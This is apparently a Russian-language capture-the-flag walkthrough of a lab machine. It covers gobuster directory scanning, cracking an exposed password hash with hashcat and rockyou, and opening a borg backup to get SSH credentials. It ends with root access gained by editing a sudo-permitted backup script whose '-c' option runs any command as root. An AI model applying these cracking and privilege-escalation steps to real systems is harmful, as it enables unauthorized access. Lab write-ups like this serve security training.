Машинка выглядит вот так:
Вопросы про открытые порты и прочее я пропущу в данной статье, так как это мало интересно. Основных заданий тут два. Забрать user.txt и root.txt флаги.
На 80 порту висит apache. Запускаем сканирование директорий веб-сервера:
gobuster dir -u 10.10.240.198 -w /opt/gobuster-subdir-wordlist/dsplusleakypaths.txt
Находим две директории /admin и /etc.
По /admin видим страницу сайт. Изучив ее можно скачать некий archive.tar.
Его пока оставим. Давайте посмотрим что лежит в /etc.
Находим некую загруженную директорию squid. Посмотрим что в ней.
В конфиге squid я не нашел ничего интересного, а вот в фалике passwd лежат креды вот такого вида: music_archive:$apr1$BpZ.Q.1m$F0qqPwHSOG50URuOVQTTn.
music_archive это очевидно пользователь, после разделителя : хеш пароля. Возможно это как-то связано с архивом, который мы скачали.
Для начала поработаем с хешом пароля утилитой hashcat. Сохраним хеш в файл archive_hash_passwd.txt. И посмотрим, что это за хеш.
hashcat --show archive_hash_passwd.txt
Отлично, hashcat подсказал нам какой режим хеширования используется. Теперь мы можем это использовать, но сначала заберем вот это словарь.
hashcat -m 1600 archive_hash_passwd.txt /opt/worldlist/rockyou.txt
Отлично, мы получили пароль. Сохраним его и посмотрим на архив, который мы скачали.
tar xvf archive.tar
Я изучил все файлы, с подсказкой оказался как ни странно только README.
Нас отсылают изучить документация по утилите бекапирования borg. Дело в том, что borg умеет делать зашифрованные директории, следовательно просто так мы их не увидим. Пробуем полученные ранее креды:
borg extract home/field/dev/final_archive::music_archive
Отлично, видим бекап файлухи пользователя alex. Смотрим secret.txt и видим внутри только это: shoutout to all the people who have gotten to this stage whoop whoop! Забавно.
Проверяем note.txt и находим логин:пароль. Попробуем его для логина по ssh.
Креды валидные, мы внутри.
А вот и первый флаг user.txt.
Осталось найти root.txt.
Проверим какие у пользователя есть права на sudo.
sudo -l
Видим, что мы можем выполнять от рут пользователя некий скрипт. Давайте посмотрим его.
#!/bin/bash
sudo find / -name "*.mp3" | sudo tee /etc/mp3backups/backed_up_files.txt
input="/etc/mp3backups/backed_up_files.txt"
#while IFS= read -r line
#do
#a="/etc/mp3backups/backed_up_files.txt"
# b=$(basename $input)
#echo
# echo "$line"
#done < "$input"
while getopts c: flag
do
case "${flag}" in
c) command=${OPTARG};;
esac
done
backup_files="/home/alex/Music/song1.mp3 /home/alex/Music/song2.mp3 /home/alex/Music/song3.mp3 /home/alex/Music/song4.mp3 /home/alex/Music/song5.mp3 /home/alex/Music/song6.mp3 /home/alex/Music/song7.mp3 /home/alex/Music/song8.mp3 /home/alex/Music/song9.mp3 /home/alex/Music/song10.mp3 /home/alex/Music/song11.mp3 /home/alex/Music/song12.mp3"
# Where to backup to.
dest="/etc/mp3backups/"
# Create archive filename.
hostname=$(hostname -s)
archive_file="$hostname-scheduled.tgz"
# Print start status message.
echo "Backing up $backup_files to $dest/$archive_file"
echo
# Backup the files using tar.
tar czf $dest/$archive_file $backup_files
# Print end status message.
echo
echo "Backup finished"
cmd=$($command)
echo $cmd
Для нас интерес представляют первые строки, они же подсказка. Я имею ввиду команду find. Пробуем добавить:
sudo find / -name "root.txt"
Файл оказывается readonly. Проверим права и кто владелец файла.
ls -l /etc/mp3backups/backup.sh
Все оказалось проще, чем могло быть. Наш пользователь и есть владелец файла, а значит мы можем добавить бит на запись.
chmod +w /etc/mp3backups/backup.sh
Добавляем команду с find и запускаем скрипт.
sudo /etc/mp3backups/backup.sh
Файл мы нашли, теперь можем простым cat вывести его содержимое. Добавляем в скрипт:
sudo cat /root/root.txt
И запускаем скрипт заново, root.txt добыт.